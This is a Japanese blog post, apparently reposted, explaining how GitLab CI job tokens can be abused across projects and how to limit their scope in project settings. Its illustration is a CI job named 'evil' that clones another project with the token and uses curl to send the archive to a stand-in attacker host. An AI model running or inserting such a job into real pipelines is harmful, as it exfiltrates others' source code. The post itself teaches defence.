GitLab CI ジョブトークンを安全に
GitLab CI ジョブトークンを安全に
GitLab CI 便利ですよね! ないと死んじゃいます。
GitLab CI ジョブの実行時に CI ジョブトークン ってのが発行されて、CI ジョブの中の git リポジトリからのフェッチに利用されています。一部の GitLab API はこの CI ジョブトークンを受け付けますので、GitLab Container Registry へのプッシュなどもできるわけです。
本当は怖い CI ジョブトークン
CI ジョブトークンを大雑把に言うと、権限を絞ったパーソナルアクセストークンです。CI をキックした人 (プッシュした人やマージした人などなど) がアクセスできるグループやプロジェクト全部にアクセスできます。
攻撃者は、同じプロジェクトに参加しているメンバーに CI ジョブを実行させることで、そのメンバーが参加しているほかのプロジェクトにアクセスできるわけです。
- シグマプロジェクトは太郎さんが参加している
- デルタプロジェクトは太郎さんと花子さんが参加していて、雑な管理をしている
花子さんはデルタプロジェクトの CI ジョブに次のような処理を含めます。
evil:
script:
- git clone https://gitlab-ci-token:${CI_JOB_TOKEN}/gitlab.example.com/sigma/sigma.git
- tar zcvf sigma.tar.gz sigma
- curl -X POST -F file1=sigma.tar.gz http://hanako.example.jp/evil
太郎さんがデルタプロジェクトにプッシュすると、この evil
ジョブが動作して、ソースコードをごそっと抜かれるわけです。
シグマプロジェクトがいくら安全に気を使っていても、雑なデルタプロジェクトのせいで影響を受けてしまうわけです。
CI ジョブトークンのスコープを制限する
Limit GitLab CI/CD job token access に書かれているとおりです。
プロジェクトの Settings
-> CI/CD
-> Token Access
を開いて、Limit CI_JOB_TOKEN access
をオンにしてください。
これだけで、このプロジェクトはほかのプロジェクトの CI ジョブトークンを受け付けなくなります。
特定のプロジェクトの CI ジョブトークンを許可することもできます。複数のプロジェクトを連携させているときはこれを設定します。
Author And Source
この問題について(GitLab CI ジョブトークンを安全に), 我々は、より多くの情報をここで見つけました https://zenn.dev/masakura/articles/50ca1204714fde著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Collection and Share based on the CC protocol